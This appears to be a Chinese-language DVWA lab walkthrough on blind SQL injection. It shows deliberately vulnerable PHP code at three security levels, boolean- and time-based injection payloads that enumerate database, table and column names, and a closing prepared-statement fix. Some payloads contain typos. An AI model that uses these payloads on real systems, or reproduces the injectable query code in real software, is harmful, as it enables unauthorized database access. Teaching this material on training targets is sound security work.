無安全防護
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
在無安全防護下, id 沒有做任何檢查, 因此具有SQL漏洞, blind SQL 注入主要靠反傳結果yes , no 來判斷, 因此我們透過下列方式觀察反查結果的狀況
1’ and 1=2 #
1’ and 1=1 #
1’ and length(database())=3 #
1’ and length(database())=4 #
利用二分法猜测数据库的名称
1’ and ascii(substr(databse(),1,1))>97
1’ and ascii(substr(databse(),1,1))<101
用类似方式查询数据表
全部有多少数据表?
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2
数据表的長度?
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
数据表名称第一个字母为何?
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
users表有多少字断?
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #
users表第一个字段名称长度为何
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在
利用时间的方式进行blind SQL injection
例如: 数据库名称长度为何?
1’ and if(length(database())=4,sleep(5),1) #
数据库第一个字母?
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
数据库中全部有多少表?
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#
第一个表明的长度为何?
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
users表中有几个字段
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#
users表格第一个字段长度为何?
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) #
中级安全
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
攻击测试方式
数据库名的长度为4个字符
1 and length(database())=4 #
1 and if(length(database())=4,sleep(5),1) #
数据中的第一个表名长度为9个字符
1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
users表有8个字段
1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #
高级防护
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
高级防护中加入随机等待时间 sleep( rand( 2, 4 ) ); 打乱采用sleep的blind SQL注入方式, 尽管如此, 我们还是可以利用基于布尔的盲注
数据库名的长度为4个字符
1’ and length(database())=4 #
数据中的第一个表名长度为9个字符
1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
uers表有8个字段
1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #
0×7573657273 为users的16进制, 可以利用这个网站http://yehg.net/encoding/?
完整的防护方式
对于SQL Injection最完整的防护方式还是使用 prepare statement !
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();